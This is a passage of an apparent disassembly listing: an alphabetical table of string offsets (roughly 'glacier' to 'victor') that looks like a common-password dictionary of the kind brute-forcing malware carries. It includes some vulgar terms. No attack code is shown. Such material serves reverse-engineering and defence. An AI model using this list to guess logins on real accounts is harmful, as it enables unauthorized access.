		dd offset aGlacier	; "glacier"
		dd offset aGold		; "gold"
		dd offset aGolden	; "golden"
		dd offset aGolf		; "golf"
		dd offset aGolfer	; "golfer"
		dd offset aGood		; "good"
		dd offset aGorgeous	; "gorgeous"
		dd offset aGorges	; "gorges"
		dd offset aGosling	; "gosling"
		dd offset aGouge	; "gouge"
		dd offset aGovermen	; "govermen"
		dd offset aGrades	; "grades"
		dd offset aGraham	; "graham"
		dd offset aGrahm	; "grahm"
		dd offset aGrand	; "grand"
		dd offset aGrant	; "grant"
		dd offset aGreat	; "great"
		dd offset aGreen	; "green"
		dd offset aGroup	; "group"
		dd offset aGryphon	; "gryphon"
		dd offset aGuardian	; "guardian"
		dd offset aGucci	; "gucci"
		dd offset aGuess	; "guess"
		dd offset aGuitar	; "guitar"
		dd offset aGumption	; "gumption"
		dd offset aGuntis	; "guntis"
		dd offset aHack		; "hack"
		dd offset aHacked	; "hacked"
		dd offset aHagar	; "hagar"
		dd offset aHair		; "hair"
		dd offset aHallowee	; "hallowee"
		dd offset aHamlet	; "hamlet"
		dd offset aHamster	; "hamster"
		dd offset aHandel	; "handel"
		dd offset aHandily	; "handily"
		dd offset aHandjob	; "handjob"
		dd offset aHappenin	; "happenin"
		dd offset aHard		; "hard"
		dd offset aHardcore	; "hardcore"
		dd offset aHarddriv	; "harddriv"
		dd offset aHarmony	; "harmony"
		dd offset aHarold	; "harold"
		dd offset aHarvey	; "harvey"
		dd offset aHate		; "hate"
		dd offset aHaven	; "haven"
		dd offset aHawaii	; "hawaii"
		dd offset aHead		; "head"
		dd offset aHeadbang	; "headbang"
		dd offset aHeat		; "heat"
		dd offset aHeathen	; "heathen"
		dd offset aHeather	; "heather"
		dd offset aHebrides	; "hebrides"
		dd offset aHeidi	; "heidi"
		dd offset aHeinlein	; "heinlein"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aHelp		; "help"
		dd offset aHerb		; "herb"
		dd offset aHerbert	; "herbert"
		dd offset aHero		; "hero"
		dd offset aHeroin	; "heroin"
		dd offset aHewlett	; "hewlett"
		dd offset aHexadeci	; "hexadeci"
		dd offset aHiawatha	; "hiawatha"
		dd offset aHibernia	; "hibernia"
		dd offset aHidden	; "hidden"
		dd offset aHigh		; "high"
		dd offset aHighland	; "highland"
		dd offset aHitler	; "hitler"
		dd offset aHits		; "hits"
		dd offset aHole		; "hole"
		dd offset aHolly	; "holly"
		dd offset aHollywoo	; "hollywoo"
		dd offset aHomepage	; "homepage"
		dd offset aHomer	; "homer"
		dd offset aHomework	; "homework"
		dd offset aHoney	; "honey"
		dd offset aHooker	; "hooker"
		dd offset aHooters	; "hooters"
		dd offset aHorny	; "horny"
		dd offset aHorrible	; "horrible"
		dd offset aHorror	; "horror"
		dd offset aHorse	; "horse"
		dd offset aHorus	; "horus"
		dd offset aHost		; "host"
		dd offset aHotdog	; "hotdog"
		dd offset aHotel	; "hotel"
		dd offset aHttp		; "http"
		dd offset aHunt		; "hunt"
		dd offset aHunter	; "hunter"
		dd offset aHutchins	; "hutchins"
		dd offset aHydrogen	; "hydrogen"
		dd offset aHyper	; "hyper"
		dd offset aHypertxt	; "hypertxt"
		dd offset aIcecream	; "icecream"
		dd offset aIllumina	; "illumina"
		dd offset aImage	; "image"
		dd offset aImbrogli	; "imbrogli"
		dd offset aImmortal	; "immortal"
		dd offset aImperial	; "imperial"
		dd offset aInclude	; "include"
		dd offset aIndia	; "india"
		dd offset aIndian	; "indian"
		dd offset aIndiana	; "indiana"
		dd offset aIndians	; "indians"
		dd offset aIngres	; "ingres"
		dd offset aIngress	; "ingress"
		dd offset aIngrid	; "ingrid"
		dd offset aInna		; "inna"
		dd offset aInnocuou	; "innocuou"
		dd offset aInput	; "input"
		dd offset aInside	; "inside"
		dd offset aInteger	; "integer"
		dd offset aInvent	; "invent"
		dd offset aIrene	; "irene"
		dd offset aIrishman	; "irishman"
		dd offset aIsis		; "isis"
		dd offset aJackie	; "jackie"
		dd offset aJail		; "jail"
		dd offset aJane		; "jane"
		dd offset aJanet	; "janet"
		dd offset aJanice	; "janice"
		dd offset aJanie	; "janie"
		dd offset aJapan	; "japan"
		dd offset aJasmin	; "jasmin"
		dd offset aJava		; "java"
		dd offset aJazz		; "jazz"
		dd offset aJean		; "jean"
		dd offset aJeanne	; "jeanne"
		dd offset aJeff		; "jeff"
		dd offset aJenni	; "jenni"
		dd offset aJennifer	; "jennifer"
		dd offset aJenny	; "jenny"
		dd offset aJerry	; "jerry"
		dd offset aJerusale	; "jerusale"
		dd offset aJessica	; "jessica"
		dd offset aJester	; "jester"
		dd offset aJewelry	; "jewelry"
		dd offset aJill		; "jill"
		dd offset aJixian	; "jixian"
		dd offset aJoanne	; "joanne"
		dd offset aJody		; "jody"
		dd offset aJohn		; "john"
		dd offset aJohndoe	; "johndoe"
		dd offset aJohnny	; "johnny"
		dd offset aJoseph	; "joseph"
		dd offset aJoshua	; "joshua"
		dd offset aJournal	; "journal"
		dd offset aJoyce	; "joyce"
		dd offset aJudith	; "judith"
		dd offset aJudy		; "judy"
		dd offset aJuggle	; "juggle"
		dd offset aJuicy	; "juicy"
		dd offset aJulia	; "julia"
		dd offset aJulie	; "julie"
		dd offset aJuliet	; "juliet"
		dd offset aJune		; "june"
		dd offset aJupiter	; "jupiter"
		dd offset aKaka		; "kaka"
		dd offset aKaren	; "karen"
		dd offset aKarie	; "karie"
		dd offset aKarina	; "karina"
		dd offset aKatana	; "katana"
		dd offset aKate		; "kate"
		dd offset aKathleen	; "kathleen"
		dd offset aKathrine	; "kathrine"
		dd offset aKathy	; "kathy"
		dd offset aKatina	; "katina"
		dd offset aKatrina	; "katrina"
		dd offset aKelly	; "kelly"
		dd offset aKeri		; "keri"
		dd offset aKermit	; "kermit"
		dd offset aKernel	; "kernel"
		dd offset aKerri	; "kerri"
		dd offset aKerrie	; "kerrie"
		dd offset aKerry	; "kerry"
		dd offset aKevin	; "kevin"
		dd offset aKewl		; "kewl"
		dd offset aKeybord	; "keybord"
		dd offset aKeyin	; "keyin"
		dd offset aKeyword	; "keyword"
		dd offset aKids		; "kids"
		dd offset aKill		; "kill"
		dd offset aKillthem	; "killthem"
		dd offset aKilo		; "kilo"
		dd offset aKimberly	; "kimberly"
		dd offset aKing		; "king"
		dd offset aKirk		; "kirk"
		dd offset aKirkland	; "kirkland"
		dd offset aKiss		; "kiss"
		dd offset aKissmyas	; "kissmyas"
		dd offset aKitten	; "kitten"
		dd offset aKlingon	; "klingon"
		dd offset aKnife	; "knife"
		dd offset aKnight	; "knight"
		dd offset aKnightma	; "knightma"
		dd offset aKnown	; "known"
		dd offset aKrista	; "krista"
		dd offset aKristen	; "kristen"
		dd offset aKristi	; "kristi"
		dd offset aKristie	; "kristie"
		dd offset aKristin	; "kristin"
		dd offset aKristine	; "kristine"
		dd offset aKristy	; "kristy"
		dd offset aLadies	; "ladies"
		dd offset aLadle	; "ladle"
		dd offset aLakers	; "lakers"
		dd offset aLambda	; "lambda"
		dd offset aLaminati	; "laminati"
		dd offset aLana		; "lana"
		dd offset aLaptop	; "laptop"
		dd offset aLara		; "lara"
		dd offset aLarkin	; "larkin"
		dd offset aLarry	; "larry"
		dd offset aLaser	; "laser"
		dd offset aLaura	; "laura"
		dd offset aLava		; "lava"
		dd offset aLazarus	; "lazarus"
		dd offset aLazer	; "lazer"
		dd offset aLeah		; "leah"
		dd offset aLebesgue	; "lebesgue"
		dd offset aLeft		; "left"
		dd offset aLeftwing	; "leftwing"
		dd offset aLegal	; "legal"
		dd offset aLeland	; "leland"
		dd offset aLeroy	; "leroy"
		dd offset aLesbian	; "lesbian"
		dd offset aLeslie	; "leslie"
		dd offset aLetmein	; "letmein"
		dd offset aLewis	; "lewis"
		dd offset aLexluthe	; "lexluthe"
		dd offset aLiberal	; "liberal"
		dd offset aLibrary	; "library"
		dd offset aLick		; "lick"
		dd offset aLicker	; "licker"
		dd offset aLife		; "life"
		dd offset aLight	; "light"
		dd offset aLightsab	; "lightsab"
		dd offset aLima		; "lima"
		dd offset aLimbaugh	; "limbaugh"
		dd offset aLimited	; "limited"
		dd offset aLinda	; "linda"
		dd offset aLink		; "link"
		dd offset aLion		; "lion"
		dd offset aLips		; "lips"
		dd offset aLisa		; "lisa"
		dd offset aLisp		; "lisp"
		dd offset aLiteratu	; "literatu"
		dd offset aLive		; "live"
		dd offset aLoad		; "load"
		dd offset aLock		; "lock"
		dd offset aLockout	; "lockout"
		dd offset aLockword	; "lockword"
		dd offset aLogic	; "logic"
		dd offset aLoginwor	; "loginwor"
		dd offset aLogout	; "logout"
		dd offset aLois		; "lois"
		dd offset aLolopc	; "lolopc"
		dd offset aLoose	; "loose"
		dd offset aLore		; "lore"
		dd offset aLori		; "lori"
		dd offset aLorin	; "lorin"
		dd offset aLorraine	; "lorraine"
		dd offset aLoser	; "loser"
		dd offset aLouis	; "louis"
		dd offset aLovebug	; "lovebug"
		dd offset aLover	; "lover"
		dd offset aLuck		; "luck"
		dd offset aLucus	; "lucus"
		dd offset aLucy		; "lucy"
		dd offset aLude		; "lude"
		dd offset aLuke		; "luke"
		dd offset aLust		; "lust"
		dd offset aLynn		; "lynn"
		dd offset aLynne	; "lynne"
		dd offset aMachine	; "machine"
		dd offset aMacintos	; "macintos"
		dd offset aMack		; "mack"
		dd offset aMacro	; "macro"
		dd offset aMaggot	; "maggot"
		dd offset aMagic	; "magic"
		dd offset aMagnet	; "magnet"
		dd offset aMail		; "mail"
		dd offset aMaint	; "maint"
		dd offset aMalcolm	; "malcolm"
		dd offset aMalcom	; "malcom"
		dd offset aMana		; "mana"
		dd offset aManager	; "manager"
		dd offset aMara		; "mara"
		dd offset aMarci	; "marci"
		dd offset aMarcy	; "marcy"
		dd offset aMaria	; "maria"
		dd offset aMariens	; "mariens"
		dd offset aMarietta	; "marietta"
		dd offset aMarijuan	; "marijuan"
		dd offset aMarines	; "marines"
		dd offset aMark		; "mark"
		dd offset aMarkus	; "markus"
		dd offset aMarni	; "marni"
		dd offset aMarriage	; "marriage"
		dd offset aMars		; "mars"
		dd offset aMarty	; "marty"
		dd offset aMarvin	; "marvin"
		dd offset aMary		; "mary"
		dd offset aMason	; "mason"
		dd offset aMaster	; "master"
		dd offset aMath		; "math"
		dd offset aMaurice	; "maurice"
		dd offset aMeagan	; "meagan"
		dd offset aMegabyte	; "megabyte"
		dd offset aMegadeth	; "megadeth"
		dd offset aMegan	; "megan"
		dd offset aMelissa	; "melissa"
		dd offset aMellon	; "mellon"
		dd offset aMelrose	; "melrose"
		dd offset aMember	; "member"
		dd offset aMemory	; "memory"
		dd offset aMenace	; "menace"
		dd offset aMenu		; "menu"
		dd offset aMercury	; "mercury"
		dd offset aMerlin	; "merlin"
		dd offset aMetal	; "metal"
		dd offset aMetalhea	; "metalhea"
		dd offset aMetalica	; "metalica"
		dd offset aMets		; "mets"
		dd offset aMice		; "mice"
		dd offset aMichael	; "michael"
		dd offset aMichel	; "michel"
		dd offset aMichelan	; "michelan"
		dd offset aMichele	; "michele"
		dd offset aMichelle	; "michelle"
		dd offset aMickey	; "mickey"
		dd offset aMicro	; "micro"
		dd offset aMicrochi	; "microchi"
		dd offset aMicropro	; "micropro"
		dd offset aMicrosof	; "microsof"
		dd offset aMidieval	; "midieval"
		dd offset aMike		; "mike"
		dd offset aMine		; "mine"
		dd offset aMinimum	; "minimum"
		dd offset aMinsky	; "minsky"
		dd offset aMisfit	; "misfit"
		dd offset aMission	; "mission"
		dd offset aMkii		; "mkii"
		dd offset aMode		; "mode"
		dd offset aModem	; "modem"
		dd offset aMogul	; "mogul"
		dd offset aMoguls	; "moguls"
		dd offset aMonday	; "monday"
		dd offset aMonica	; "monica"
		dd offset aMoom		; "moom"
		dd offset aMoor		; "moor"
		dd offset aMoose	; "moose"
		dd offset aMore		; "more"
		dd offset aMorley	; "morley"
		dd offset aMorris	; "morris"
		dd offset aMortal	; "mortal"
		dd offset aMortalco	; "mortalco"
		dd offset aMortgage	; "mortgage"
		dd offset aMosaic	; "mosaic"
		dd offset aMountain	; "mountain"
		dd offset aMouse	; "mouse"
		dd offset aMove		; "move"
		dd offset aMovie	; "movie"
		dd offset aMovies	; "movies"
		dd offset aMozart	; "mozart"
		dd offset aMpeg		; "mpeg"
		dd offset aMsdos	; "msdos"
		dd offset aMuppets	; "muppets"
		dd offset aMutant	; "mutant"
		dd offset aNagel	; "nagel"
		dd offset aName		; "name"
		dd offset aNancy	; "nancy"
		dd offset aNapoleon	; "napoleon"
		dd offset aNasa		; "nasa"
		dd offset aNavy		; "navy"
		dd offset aNepenthe	; "nepenthe"
		dd offset aNeptune	; "neptune"
		dd offset aNess		; "ness"
		dd offset aNetscape	; "netscape"
		dd offset aNetwork_0	; "network"
		dd offset aNewborn	; "newborn"
		dd offset aNews		; "news"
		dd offset aNewsgrou	; "newsgrou"
		dd offset aNewton	; "newton"
		dd offset aNewyork	; "newyork"
		dd offset aNext		; "next"
		dd offset aNice		; "nice"
		dd offset aNicole	; "nicole"
		dd offset aNicotine	; "nicotine"
		dd offset aNight	; "night"
		dd offset aNightmar	; "nightmar"
		dd offset aNintendo	; "nintendo"
		dd offset aNita		; "nita"
		dd offset aNnaacp	; "nnaacp"
		dd offset aNoble	; "noble"
		dd offset aNobody	; "nobody"
		dd offset aNode		; "node"
		dd offset aNoreen	; "noreen"
		dd offset aNotes	; "notes"
		dd offset aNoth		; "noth"
		dd offset aNova		; "nova"
		dd offset aNovel	; "novel"
		dd offset aNovember	; "november"
		dd offset aNoxious	; "noxious"
		dd offset aNuclear	; "nuclear"
		dd offset aNude		; "nude"
		dd offset aNuke		; "nuke"
		dd offset aNukem	; "nukem"
		dd offset aNull_1	; "null"
		dd offset aNumber	; "number"
		dd offset aNutritio	; "nutritio"
		dd offset aNuts		; "nuts"
		dd offset aNyquist	; "nyquist"
		dd offset aObscurit	; "obscurit"
		dd offset aOceanogr	; "oceanogr"
		dd offset aOcelot	; "ocelot"
		dd offset aOffice	; "office"
		dd offset aOkay		; "okay"
		dd offset aOldage	; "oldage"
		dd offset aOlivetti	; "olivetti"
		dd offset aOlivia	; "olivia"
		dd offset aOmega	; "omega"
		dd offset aOpen		; "open"
		dd offset aOpening	; "opening"
		dd offset aOpenlock	; "openlock"
		dd offset aOpensesa	; "opensesa"
		dd offset aOperator	; "operator"
		dd offset aOrca		; "orca"
		dd offset aOrient	; "orient"
		dd offset aOrwell	; "orwell"
		dd offset aOscar	; "oscar"
		dd offset aOsiris	; "osiris"
		dd offset aOutdoors	; "outdoors"
		dd offset aOutlaw	; "outlaw"
		dd offset aOutput	; "output"
		dd offset aOutside	; "outside"
		dd offset aOxford	; "oxford"
		dd offset aPacific	; "pacific"
		dd offset aPackard	; "packard"
		dd offset aPacker	; "packer"
		dd offset aPainless	; "painless"
		dd offset aPaint	; "paint"
		dd offset aPakistan	; "pakistan"
		dd offset aPamela	; "pamela"
		dd offset aPapa		; "papa"
		dd offset aPaper	; "paper"
		dd offset aPapers	; "papers"
		dd offset aPascal	; "pascal"
		dd offset aPassphra	; "passphra"
		dd offset aPaste	; "paste"
		dd offset aPatricia	; "patricia"
		dd offset aPatriot	; "patriot"
		dd offset aPatty	; "patty"
		dd offset aPaula	; "paula"
		dd offset aPeanuts	; "peanuts"
		dd offset aPecker	; "pecker"
		dd offset aPencil	; "pencil"
		dd offset aPenelope	; "penelope"
		dd offset aPenguin	; "penguin"
		dd offset aPenis	; "penis"
		dd offset aPenname	; "penname"
		dd offset aPentagon	; "pentagon"
		dd offset aPentagra	; "pentagra"
		dd offset aPenthous	; "penthous"
		dd offset aPentium	; "pentium"
		dd offset aPeoria	; "peoria"
		dd offset aPepper	; "pepper"
		dd offset aPercolat	; "percolat"
		dd offset aPerfect	; "perfect"
		dd offset aPermit	; "permit"
		dd offset aPersimmo	; "persimmo"
		dd offset aPersona	; "persona"
		dd offset aPervert	; "pervert"
		dd offset aPete		; "pete"
		dd offset aPeter	; "peter"
		dd offset aPhil		; "phil"
		dd offset aPhilip	; "philip"
		dd offset aPhoenix	; "phoenix"
		dd offset aPhone	; "phone"
		dd offset aPhoton	; "photon"
		dd offset aPhrack	; "phrack"
		dd offset aPhrase	; "phrase"
		dd offset aPhreak	; "phreak"
		dd offset aPhuck	; "phuck"
		dd offset aPick		; "pick"
		dd offset aPierre	; "pierre"
		dd offset aPimp		; "pimp"
		dd offset aPinname	; "pinname"
		dd offset aPiss		; "piss"
		dd offset aPizza	; "pizza"
		dd offset aPlane	; "plane"
		dd offset aPlayboy	; "playboy"
		dd offset aPlover	; "plover"
		dd offset aPluto	; "pluto"
		dd offset aPlymouth	; "plymouth"
		dd offset aPoetry	; "poetry"
		dd offset aPolice	; "police"
		dd offset aPolly	; "polly"
		dd offset aPolynomi	; "polynomi"
		dd offset aPonderin	; "ponderin"
		dd offset aPoop		; "poop"
		dd offset aPoor		; "poor"
		dd offset aPork		; "pork"
		dd offset aPorn		; "porn"
		dd offset aPorno	; "porno"
		dd offset aPorsche	; "porsche"
		dd offset aPost		; "post"
		dd offset aPoster	; "poster"
		dd offset aPower	; "power"
		dd offset aPraise	; "praise"
		dd offset aPrecious	; "precious"
		dd offset aPrelude	; "prelude"
		dd offset aPresto	; "presto"
		dd offset aPrince	; "prince"
		dd offset aPrinceto	; "princeto"
		dd offset aPrinter	; "printer"
		dd offset aPriv		; "priv"
		dd offset aPrivate	; "private"
		dd offset aPrivs	; "privs"
		dd offset aProceed	; "proceed"
		dd offset aProcesso	; "processo"
		dd offset aProfesso	; "professo"
		dd offset aProfile	; "profile"
		dd offset aProgram	; "program"
		dd offset aPrompt	; "prompt"
		dd offset aProtect	; "protect"
		dd offset aProtozoa	; "protozoa"
		dd offset aPsycho	; "psycho"
		dd offset aPsychopa	; "psychopa"
		dd offset aPublic	; "public"
		dd offset aPuck		; "puck"
		dd offset aPuke		; "puke"
		dd offset aPumpkin	; "pumpkin"
		dd offset aPuneet	; "puneet"
		dd offset aPunisher	; "punisher"
		dd offset aPunk		; "punk"
		dd offset aPuppet	; "puppet"
		dd offset aPussy	; "pussy"
		dd offset aQuebec	; "quebec"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aRabbit	; "rabbit"
		dd offset aRachel	; "rachel"
		dd offset aRachelle	; "rachelle"
		dd offset aRachmani	; "rachmani"
		dd offset aRaid		; "raid"
		dd offset aRain		; "rain"
		dd offset aRainbow	; "rainbow"
		dd offset aRaindrop	; "raindrop"
		dd offset aRaleigh	; "raleigh"
		dd offset aRandom_0	; "random"
		dd offset aRape		; "rape"
		dd offset aRascal	; "rascal"
		dd offset aRazor	; "razor"
		dd offset aReagan	; "reagan"
		dd offset aReality	; "reality"
		dd offset aReally	; "really"
		dd offset aReam		; "ream"
		dd offset aReaper	; "reaper"
		dd offset aRebal	; "rebal"
		dd offset aRebecca	; "rebecca"
		dd offset aRebel	; "rebel"
		dd offset aRecord	; "record"
		dd offset aReddawn	; "reddawn"
		dd offset aRedhead	; "redhead"
		dd offset aReferenc	; "referenc"
		dd offset aRegional	; "regional"
		dd offset aRelease	; "release"
		dd offset aRemote	; "remote"
		dd offset aRenee	; "renee"
		dd offset aReno		; "reno"
		dd offset aRent		; "rent"
		dd offset aReport	; "report"
		dd offset aRepublic	; "republic"
		dd offset aResistan	; "resistan"
		dd offset aReveal	; "reveal"
		dd offset aRhino	; "rhino"
		dd offset aRich		; "rich"
		dd offset aRick		; "rick"
		dd offset aRiffraff	; "riffraff"
		dd offset aRight	; "right"
		dd offset aRightwin	; "rightwin"
		dd offset aRing		; "ring"
		dd offset aRiot		; "riot"
		dd offset aRipple	; "ripple"
		dd offset aRisc		; "risc"
		dd offset aRoach	; "roach"
		dd offset aRobert	; "robert"
		dd offset aRobin	; "robin"
		dd offset aRobot	; "robot"
		dd offset aRobotics	; "robotics"
		dd offset aRobyn	; "robyn"
		dd offset aRochelle	; "rochelle"
		dd offset aRocheste	; "rocheste"
		dd offset aRock		; "rock"
		dd offset aRocky	; "rocky"
		dd offset aRockyhor	; "rockyhor"
		dd offset aRodent	; "rodent"
		dd offset aRolex	; "rolex"
		dd offset aRomano	; "romano"
		dd offset aRomeo	; "romeo"
		dd offset aRomulan	; "romulan"
		dd offset aRonald	; "ronald"
		dd offset aRose		; "rose"
		dd offset aRosebud	; "rosebud"
		dd offset aRosemary	; "rosemary"
		dd offset aRoses	; "roses"
		dd offset aRough	; "rough"
		dd offset aRubber	; "rubber"
		dd offset aRuben	; "ruben"
		dd offset aRuby		; "ruby"
		dd offset aRude		; "rude"
		dd offset aRules	; "rules"
		dd offset aRunning	; "running"
		dd offset aRush		; "rush"
		dd offset aRuth		; "ruth"
		dd offset aSafe		; "safe"
		dd offset aSalami	; "salami"
		dd offset aSale		; "sale"
		dd offset aSalt		; "salt"
		dd offset aSamantha	; "samantha"
		dd offset aSample	; "sample"
		dd offset aSandra	; "sandra"
		dd offset aSandy	; "sandy"
		dd offset aSara		; "sara"
		dd offset aSarah	; "sarah"
		dd offset aSaturday	; "saturday"
		dd offset aSaturn	; "saturn"
		dd offset aSaxon	; "saxon"
		dd offset aScamper	; "scamper"
		dd offset aScheme	; "scheme"
		dd offset aSchool	; "school"
		dd offset aSchoolsucks	; "schoolsucks"
		dd offset aScifi	; "scifi"
		dd offset aScorpion	; "scorpion"
		dd offset aScott	; "scott"
		dd offset aScotty	; "scotty"
		dd offset aScout	; "scout"
		dd offset aSearch	; "search"
		dd offset aSecurity	; "security"
		dd offset aSeed		; "seed"
		dd offset aSega		; "sega"
		dd offset aSensor	; "sensor"
		dd offset aSentinel	; "sentinel"
		dd offset aSentry	; "sentry"
		dd offset aSerenity	; "serenity"
		dd offset aSerial	; "serial"
		dd offset aService	; "service"
		dd offset aSesame	; "sesame"
		dd offset aSexy		; "sexy"
		dd offset aShannon	; "shannon"
		dd offset aSharc	; "sharc"
		dd offset aShark	; "shark"
		dd offset aSharks	; "sharks"
		dd offset aSharon	; "sharon"
		dd offset aSheffiel	; "sheffiel"
		dd offset aSheldon	; "sheldon"
		dd offset aShell	; "shell"
		dd offset aSherri	; "sherri"
		dd offset aShift	; "shift"
		dd offset aShirley	; "shirley"
		dd offset aShit		; "shit"
		dd offset aShitpot	; "shitpot"
		dd offset aShiva	; "shiva"
		dd offset aShivers	; "shivers"
		dd offset aShort	; "short"
		dd offset aShuttle	; "shuttle"
		dd offset aSick		; "sick"
		dd offset aSierra	; "sierra"
		dd offset aSignatur	; "signatur"
		dd offset aSilver	; "silver"
		dd offset aSimcity	; "simcity"
		dd offset aSimon	; "simon"
		dd offset aSimple	; "simple"
		dd offset aSimpsons	; "simpsons"
		dd offset aSimulati	; "simulati"
		dd offset aSinger	; "singer"
		dd offset aSingle	; "single"
		dd offset aSite		; "site"
		dd offset aSkull	; "skull"
		dd offset aSlave	; "slave"
		dd offset aSlick	; "slick"
		dd offset aSliders	; "sliders"
		dd offset aSlow		; "slow"
		dd offset aSlut		; "slut"
		dd offset aSmall	; "small"
		dd offset aSmart	; "smart"
		dd offset aSmile	; "smile"
		dd offset aSmiles	; "smiles"
		dd offset aSmooch	; "smooch"
		dd offset aSmother	; "smother"
		dd offset aSmtp		; "smtp"
		dd offset aSmut		; "smut"
		dd offset aSnach	; "snach"
		dd offset aSnafu	; "snafu"
		dd offset aSnake	; "snake"
		dd offset aSnatch	; "snatch"
		dd offset aSnoopy	; "snoopy"
		dd offset aSoap		; "soap"
		dd offset aSocial	; "social"
		dd offset aSocrates	; "socrates"
		dd offset aSodomy	; "sodomy"
		dd offset aSoft		; "soft"
		dd offset aSoftware	; "software"
		dd offset aSomebody	; "somebody"
		dd offset aSondra	; "sondra"
		dd offset aSonia	; "sonia"
		dd offset aSonic	; "sonic"
		dd offset aSonya	; "sonya"
		dd offset aSossina	; "sossina"
		dd offset aSource	; "source"
		dd offset aSouth	; "south"
		dd offset aSpaceshi	; "spaceshi"
		dd offset aSparrows	; "sparrows"
		dd offset aSpear	; "spear"
		dd offset aSpell	; "spell"
		dd offset aSpice	; "spice"
		dd offset aSpider	; "spider"
		dd offset aSpiderma	; "spiderma"
		dd offset aSpit		; "spit"
		dd offset aSpred	; "spred"
		dd offset aSpring	; "spring"
		dd offset aSpringer	; "springer"
		dd offset aSpunk	; "spunk"
		dd offset aSquires	; "squires"
		dd offset aSr71		; "sr71"
		dd offset aStacey	; "stacey"
		dd offset aStaci	; "staci"
		dd offset aStacie	; "stacie"
		dd offset aStacy	; "stacy"
		dd offset aStar		; "star"
		dd offset aStarship	; "starship"
		dd offset aStart	; "start"
		dd offset aStartrek	; "startrek"
		dd offset aStartup	; "startup"
		dd offset aStarwars	; "starwars"
		dd offset aSteak	; "steak"
		dd offset aSteal	; "steal"
		dd offset aSteel	; "steel"
		dd offset aSteph	; "steph"
		dd offset aStephani	; "stephani"
		dd offset aStereo	; "stereo"
		dd offset aSteve	; "steve"
		dd offset aStoneage	; "stoneage"
		dd offset aStoned	; "stoned"
		dd offset aStones	; "stones"
		dd offset aStrange	; "strange"
		dd offset aStrangle	; "strangle"
		dd offset aStratfor	; "stratfor"
		dd offset aStreetfi	; "streetfi"
		dd offset aString	; "string"
		dd offset aStrip	; "strip"
		dd offset aStudent	; "student"
		dd offset aStuttgar	; "stuttgar"
		dd offset aSubscrib	; "subscrib"
		dd offset aSubway	; "subway"
		dd offset aSuccess	; "success"
		dd offset aSuck		; "suck"
		dd offset aSuckmydi	; "suckmydi"
		dd offset aSucks	; "sucks"
		dd offset aSummer	; "summer"
		dd offset aSunday	; "sunday"
		dd offset aSuperman	; "superman"
		dd offset aSuperson	; "superson"
		dd offset aSupersta	; "supersta"
		dd offset aSuperuse	; "superuse"
		dd offset aSupervis	; "supervis"
		dd offset aSupport	; "support"
		dd offset aSupporte	; "supporte"
		dd offset aSurfer	; "surfer"
		dd offset aSurfing	; "surfing"
		dd offset aSusan	; "susan"
		dd offset aSusanne	; "susanne"
		dd offset aSusie	; "susie"
		dd offset aSuzanne	; "suzanne"
		dd offset aSuzie	; "suzie"
		dd offset aSwearer	; "swearer"
		dd offset aSweat	; "sweat"
		dd offset aSwitch	; "switch"
		dd offset aSword	; "sword"
		dd offset aSybil	; "sybil"
		dd offset aSymmetry	; "symmetry"
		dd offset aSysadmin	; "sysadmin"
		dd offset aSysop	; "sysop"
		dd offset aTabasco	; "tabasco"
		dd offset aTalk		; "talk"
		dd offset aTall		; "tall"
		dd offset aTamara	; "tamara"
		dd offset aTami		; "tami"
		dd offset aTamie	; "tamie"
		dd offset aTammy	; "tammy"
		dd offset aTangerin	; "tangerin"
		dd offset aTango	; "tango"
		dd offset aTape		; "tape"
		dd offset aTara		; "tara"
		dd offset aTarget	; "target"
		dd offset aTarragon	; "tarragon"
		dd offset aTaylor	; "taylor"
		dd offset aTeacher	; "teacher"
		dd offset aTeam		; "team"
		dd offset aTeapot	; "teapot"
		dd offset aTears	; "tears"
		dd offset aTech		; "tech"
		dd offset aTeen		; "teen"
		dd offset aTeenage	; "teenage"
		dd offset aTelephon	; "telephon"
		dd offset aTelnet	; "telnet"
		dd offset aTemptati	; "temptati"
		dd offset aTennis	; "tennis"
		dd offset aTera		; "tera"
		dd offset aTerminal	; "terminal"
		dd offset aTerminat	; "terminat"
		dd offset aTess		; "tess"
		dd offset aTetris	; "tetris"
		dd offset aText		; "text"
		dd offset aThailand	; "thailand"
		dd offset aTheresa	; "theresa"
		dd offset aThin		; "thin"
		dd offset aThursday	; "thursday"
		dd offset aTiffany	; "tiffany"
		dd offset aTiger	; "tiger"
		dd offset aTime		; "time"
		dd offset aTina		; "tina"
		dd offset aTits		; "tits"
		dd offset aToad		; "toad"
		dd offset aToggle	; "toggle"
		dd offset aToken	; "token"
		dd offset aTokenrin	; "tokenrin"
		dd offset aTomato	; "tomato"
		dd offset aTopograp	; "topograp"
		dd offset aTortoise	; "tortoise"
		dd offset aToxic	; "toxic"
		dd offset aToyota	; "toyota"
		dd offset aTraci	; "traci"
		dd offset aTracie	; "tracie"
		dd offset aTracy	; "tracy"
		dd offset aTrails	; "trails"
		dd offset aTransfer	; "transfer"
		dd offset aTrap		; "trap"
		dd offset aTrapdoor	; "trapdoor"
		dd offset aTree		; "tree"
		dd offset aTrek		; "trek"
		dd offset aTrisha	; "trisha"
		dd offset aTrivial	; "trivial"
		dd offset aTrojan	; "trojan"
		dd offset aTrombone	; "trombone"
		dd offset aTron		; "tron"
		dd offset aTrue		; "true"
		dd offset aTruth	; "truth"
		dd offset aTubas	; "tubas"
		dd offset aTuesday	; "tuesday"
		dd offset aTurn		; "turn"
		dd offset aTuttle	; "tuttle"
		dd offset aUgly		; "ugly"
		dd offset aUmesh	; "umesh"
		dd offset aUncle	; "uncle"
		dd offset aUndo		; "undo"
		dd offset aUnhappy	; "unhappy"
		dd offset aUnicorn	; "unicorn"
		dd offset aUniform	; "uniform"
		dd offset aUniversa	; "universa"
		dd offset aUniverse	; "universe"
		dd offset aUniversi	; "universi"
		dd offset aUnknown_0	; "unknown"
		dd offset aUnlock	; "unlock"
		dd offset aUpload	; "upload"
		dd offset aUranus	; "uranus"
		dd offset aUrchin	; "urchin"
		dd offset aUrsula	; "ursula"
		dd offset aUsenet	; "usenet"
		dd offset aUsermane	; "usermane"
		dd offset aUsername	; "username"
		dd offset aUsmc		; "usmc"
		dd offset aUtil		; "util"
		dd offset aUtility	; "utility"
		dd offset aUucp		; "uucp"
		dd offset aVagina	; "vagina"
		dd offset aValerie	; "valerie"
		dd offset aVampire	; "vampire"
		dd offset aVasant	; "vasant"
		dd offset aVenus	; "venus"
		dd offset aVeronica	; "veronica"
		dd offset aVertigo	; "vertigo"
		dd offset aVicky	; "vicky"
		dd offset aVictor	; "victor"
